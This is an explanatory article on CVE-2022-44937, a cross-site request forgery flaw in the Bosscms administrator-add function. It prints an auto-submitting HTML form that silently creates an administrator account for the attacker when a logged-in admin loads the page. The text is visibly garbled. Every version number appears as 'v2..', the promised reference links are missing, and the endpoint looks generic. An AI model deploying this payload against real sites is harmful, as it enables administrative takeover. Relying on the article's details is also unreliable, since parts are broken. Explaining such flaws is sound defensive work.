The internet landscape is full of potential security vulnerabilities, and CVE-2022-44937 exposes one of them. This article will deep dive into the details behind a Cross-Site Request Forgery (CSRF) vulnerability discovered in Bosscms v2.., particularly focusing on the Add function in the Administrator List module. We will explore the exploit details, go over a code snippet that demonstrates the vulnerability, and provide links to original references for further information.

Exploit Details

Bosscms, an open-source content management system, offers functionalities that cater to various businesses. However, it isn't invulnerable to security gaps. One critical flaw found in version 2.. is a CSRF vulnerability present in the Add function of the Administrator List module.

Cross-Site Request Forgery (CSRF) vulnerabilities occur when an attacker can trick a victim into performing actions that the victim did not intend to make. In this scenario, the attacker takes advantage of the fact that browsers automatically send authentication tokens (such as cookies) for a site when making requests to that site.

Due to the CSRF vulnerability, an attacker can exploit the "Add" function to create new administrators on the vulnerable Bosscms platform without the original administrator's consent or knowledge. The newly added administrator can then perform any action, leading to potential data theft, data manipulation, or other malicious activities.

Below is a simple HTML code snippet that demonstrates the CSRF vulnerability in Bosscms v2..

<!DOCTYPE html>
<html>
<head>
  <title>CVE-2022-44937 Exploit</title>
</head>
<body>
  <h1>Bosscms v2.. CSRF Exploit</h1>
  <form action="http://vulnerable-bosscms-site.com/admin/add"; method="POST" id="exploitForm">
    <input type="hidden" name="username" value="new_admin" />
    <input type="hidden" name="password" value="strong_password" />
    <input type="hidden" name="email" value="attacker@example.com" />
  </form>
  <script>
    document.getElementById('exploitForm').submit();
  </script>
</body>
</html>

In this example, the attacker crafts an HTML page containing a form with hidden input fields for the new administrator's username, password, and email. The form's action attribute points to the vulnerable Bosscms site's Administrator List "Add" function URL. The script at the bottom of the page automatically submits the form upon loading, creating a new administrator without user interaction.

If the attacker can trick the victim into visiting this crafted HTML page while the victim is logged in as an administrator on the vulnerable Bosscms site, the CSRF vulnerability allows the attacker to create a new administrator account under their control.

Conclusion

In conclusion, the discovery of a Cross-Site Request Forgery (CSRF) vulnerability in Bosscms v2..'s Administrator List Add function exposes the platform to potential attacks. Users and developers should stay vigilant and apply any available patches immediately or consider upgrading to a more secure version of the software. Additionally, learning about potential vulnerabilities and staying informed about the security landscape is essential for maintaining a safe digital environment.
